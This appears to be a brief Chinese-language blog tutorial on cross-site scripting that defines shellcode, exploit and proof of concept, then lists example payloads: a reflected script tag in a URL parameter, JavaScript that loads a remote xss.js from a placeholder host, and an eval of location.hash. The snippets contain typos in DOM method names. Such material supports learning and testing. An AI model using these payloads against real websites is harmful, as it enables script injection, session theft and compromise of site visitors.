XSS----shellcode的调用

  • shellcode、exploit、poc

  1. shellcode:最初是指溢出程序和蠕虫病毒核心,实际上是指利用漏洞所执行的一段代码

  2. Exploit:英文意思利用,编写好的漏洞利用工具或程序,具有攻击性

  3. Poc:Proof of Concept缩写,是一段证明漏洞存在的程序代码 

  • 动态调用远程JavaScript(缺点是URL中容易显露出来)

  • 格式: 

https://www.xxxxx.com/index.php?sort=[exploit]
  • 可直接把shellcode写到URL中,如: 

https://www.xxxx.com/view.php?sort="><script>alert(/xss/)</script>
#或者赋值变量动态创建,假设机子的脚本位xss.js 如:
var s=document.createElement("script")
s.src="http://wwww.xxxx.com/xss.js";
document.getElementByTagName("head")[0].apendChild(s);

#当然这里亦可以使用jQuery来写是一样,而且会更简洁
  • 使用window.location.hash(这种方式不需要加载服务器上的脚本) ,示例:

http://www.xxxx.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

 

 

 

 

      

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章